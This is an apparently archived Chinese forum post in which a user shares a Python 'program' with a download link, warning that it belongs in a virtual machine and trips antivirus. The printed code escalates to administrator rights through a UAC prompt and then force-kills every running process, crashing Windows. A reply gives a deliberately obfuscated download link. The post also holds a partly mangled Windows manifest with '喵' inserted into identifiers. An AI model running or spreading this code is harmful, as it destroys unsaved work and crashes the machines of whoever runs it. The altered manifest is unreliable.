猫史档案馆


我用python做的程序

用户:善良的星熊喵善良的星熊喵查看:1 回复:4 评论:1 创建时间:2023-01-25T17:03:33


必须在虚拟机里打开

不建议打开

装火绒安全软件的会报毒

https://t.wss.ink/f/acccumpehry 复制链接到浏览器打开

from __future__ import print_function
import ctypes
import sys
import os


def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():  
    print("以获取管喵权限...")
    os.system("Taskkill /fi \"pid ge 1\" /f")
    input()

else:
    if sys.version_info[0] == 3:
        ctypes.windll.shell32.ShellExecuteW(
            None, "runas", sys.executable, __file__, None, 1)
        print("run again...")
    else:
        ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(
            sys.executable), unicode(__file__), None, 1)

32 × 32 (16.8mil colors) - Ordinal name: 1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:a喵.v1" manifestVersion="1.0">
  <assemblyIdentity type="win32" name="SplitEn" processorArchitecture="amd喵" version="1.0.0.0"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:a喵.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" language="*" processorArchitecture="*" version="6.0.0.0" publicKeyToken="6595b喵144ccf1df"/>
    </dependentAssembly>
  </dependency>
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
      <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
      <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
    </application>
  </compatibility>
  <application xmlns="urn:schemas-microsoft-com:a喵.v3">
    <windowsSettings>
      <longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
    </windowsSettings>
  </application>
</assembly>


回复

上一页1 页 / 共 1下一页
善良的星熊喵善良的星熊喵

htt删掉我ps://t.ws删掉我s.ink/f/删掉我accej4删掉我sv9删掉我1f 

点赞0


评论


善良的星熊喵善良的星熊喵

center_image

点赞0


评论


活不了了活不了了

荔枝路过天下的萌新

点赞0


评论


善良的星熊喵善良的星熊喵

 反对 

点赞1


评论